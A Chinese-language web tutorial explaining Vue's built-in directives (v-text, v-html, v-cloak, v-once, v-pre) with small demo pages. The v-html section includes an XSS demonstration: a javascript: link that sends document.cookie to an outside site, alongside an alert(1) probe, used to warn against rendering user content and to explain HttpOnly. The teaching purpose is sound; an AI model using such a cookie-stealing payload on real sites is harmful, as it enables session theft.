溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Vue內(nèi)置指令有哪些及怎么使用

發(fā)布時間:2022-05-27 11:31:49 來源:億速云 閱讀:179 作者:zzz 欄目:開發(fā)技術(shù)

這篇文章主要介紹“Vue內(nèi)置指令有哪些及怎么使用”,在日常操作中,相信很多人在Vue內(nèi)置指令有哪些及怎么使用問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”Vue內(nèi)置指令有哪些及怎么使用”的疑惑有所幫助!接下來,請跟著小編一起來學(xué)習(xí)吧!

指令總結(jié)

  • v-bind:單向綁定解析表達式,可簡寫為 :xxx

  • v-model:雙向數(shù)據(jù)綁定

  • v-for:遍歷數(shù)組/對象/字符串

  • v-on:綁定事件監(jiān)聽,可簡寫為@

  • v-if:條件渲染(動態(tài)控制節(jié)點是否存在)

  • v-else:條件渲染(動態(tài)控制節(jié)點是否存在)

  • v-show:條件渲染(動態(tài)控制節(jié)點是否展示)

v-text

v-text 指令

  • 1、作用:向其所在的節(jié)點中渲染文本內(nèi)容

  • 2、與插值語法的區(qū)別:v-text會替換掉節(jié)點中的內(nèi)容,{{xx}}則不會

<div id="root">
    <h3>{{msg}}</h3>
    <h3 v-text="msg"></h3>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false

    //創(chuàng)建vue實例
    new Vue({
        el: "#root",
        data: {
            msg:"Hello world"
        }
    })
</script>

Vue內(nèi)置指令有哪些及怎么使用

v-html

先簡單演示下 v-html

<div id="root">
    <div>{{msg}}</div>
    <div v-text="msg"></div>
    <div v-html="msg"></div>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false
    //創(chuàng)建vue實例
    new Vue({
        el: "#root",
        data: {
            msg:"<h4>Hello world</h4>"
        }
    })
</script>

Vue內(nèi)置指令有哪些及怎么使用

cookie 簡略圖示

Vue內(nèi)置指令有哪些及怎么使用

Chrome 查看 cookie

Vue內(nèi)置指令有哪些及怎么使用

可以輸入兩個 cookie 值,然后在控制臺可以拿到這些值

Vue內(nèi)置指令有哪些及怎么使用

另外 Firefox 查看 cookie 位置

Vue內(nèi)置指令有哪些及怎么使用

<div id="root">
    <div>{{msg}}</div>
    <div v-text="msg"></div>
    <div v-html="msg"></div>
    <div v-html="msg2"></div>
    <div v-html="msg3"></div>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false

    //創(chuàng)建vue實例
    new Vue({
        el: "#root",
        data: {
            msg:"<h4>Hello world</h4>",
            msg2:"<a href=javascript:alert(1)>資源,速來</a>",
            msg3:'<a href=javascript:location.href="https://www.baidu.com?" rel="external nofollow" +document.cookie>資源,速來</a>'
        }
    })
</script>

點擊跳轉(zhuǎn)后就會拿到 cookie,所以存在一定安全問題

當(dāng)然我們看百度的cookie,加上了 HttpOnly。HttpOnly 是包含在 http 返回頭Set-Cookie 里面的一個附加的 flag,所以它是后端服務(wù)器對 cookie設(shè)置的一個附加的屬性,在生成 cookie 時使用 HttpOnly 標(biāo)志有助于減輕客戶端腳本訪問受保護 cookie 的風(fēng)險(如果瀏覽器支持的話)

Vue內(nèi)置指令有哪些及怎么使用

v-html 指令

1.作用:向指定節(jié)點中渲染包含html結(jié)構(gòu)的內(nèi)容

2.與插值語法的區(qū)別:

  • (1).v-html 會替換掉節(jié)點中所有的內(nèi)容,{{xx}}則不會

  • (2).v-html 可以識別 html 結(jié)構(gòu)

3.嚴(yán)重注意:v-html 有安全性問題!!!!

  • (1).在網(wǎng)站上動態(tài)渲染任意HTML是非常危險的,容易導(dǎo)致XSS攻擊

  • (2).一定要在可信的內(nèi)容上使用 v-html,永不要用在用戶提交的內(nèi)容上!

v-cloak

v-cloak指令(沒有值) 1.本質(zhì)是一個特殊屬性,Vue 實例創(chuàng)建完畢并接管容器后,會刪掉 v-cloak 屬性 2.使用 css 配合 v-cloak 可以解決網(wǎng)速慢時頁面展示出{{xxx}}的問題

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Vue初識</title>
    <style>
        /*選中標(biāo)簽中包含 v-cloak*/
        [v-cloak]{
            display: none;
        }
    </style>
</head>
<body>
<div id="root">
    <div v-cloak>{{msg}}</div>
    <!--如果引入了外部js,而且返回時間長,那么頁面會閃現(xiàn)-->
    <script type="text/javascript" src="./js/vue.js"></script>
</div>
<!--這里標(biāo)簽內(nèi)容只有在上邊js加載完后才執(zhí)行-->
<script type="text/javascript">
    Vue.config.productionTip = false

    //創(chuàng)建vue實例
    new Vue({
        el: "#root",
        data: {
            msg:"Hello world"
        }
    })
</script>
</body>
</html>

v-once

v-once 指令 1.v-once所在節(jié)點在初次動態(tài)渲染后,就視為靜態(tài)內(nèi)容了 2.以后數(shù)據(jù)的改變不會引起v-once所在結(jié)構(gòu)的更新,可以用于優(yōu)化性能

<div id="root">
    <h3 v-once>n的初始值:{{n}}</h3>
    <h3>n的當(dāng)前值:{{n}}</h3>
    <button @click="n++">點我n+1</button>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false
    //創(chuàng)建vue實例
    new Vue({
        el: "#root",
        data: {
            n:1![](https://img-blog.csdnimg.cn/8b0057d61e9b43848788b3c01f712058.gif#pic_center)

        }
    })
</script>

Vue內(nèi)置指令有哪些及怎么使用

v-pre

v-pre指令 1.跳過其所在節(jié)點的編譯過程 2.可利用它跳過:沒有使用指令語法、沒有使用插值語法的節(jié)點,會加快編譯

<div id="root">
    <h3 v-pre>Vue其實很簡單</h3>
    <h3 v-pre>n的當(dāng)前值:{{n}}</h3>
    <h3>n的當(dāng)前值:{{n}}</h3>
    <button @click="n++">點我n+1</button>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    //創(chuàng)建vue實例
    new Vue({
        el: "#root",
        data: {
            n:1
        }
    })
</script>

Vue內(nèi)置指令有哪些及怎么使用

到此,關(guān)于“Vue內(nèi)置指令有哪些及怎么使用”的學(xué)習(xí)就結(jié)束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學(xué)習(xí),快去試試吧!若想繼續(xù)學(xué)習(xí)更多相關(guān)知識,請繼續(xù)關(guān)注億速云網(wǎng)站,小編會繼續(xù)努力為大家?guī)砀鄬嵱玫奈恼拢?/p>

向AI問一下細節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

vue
AI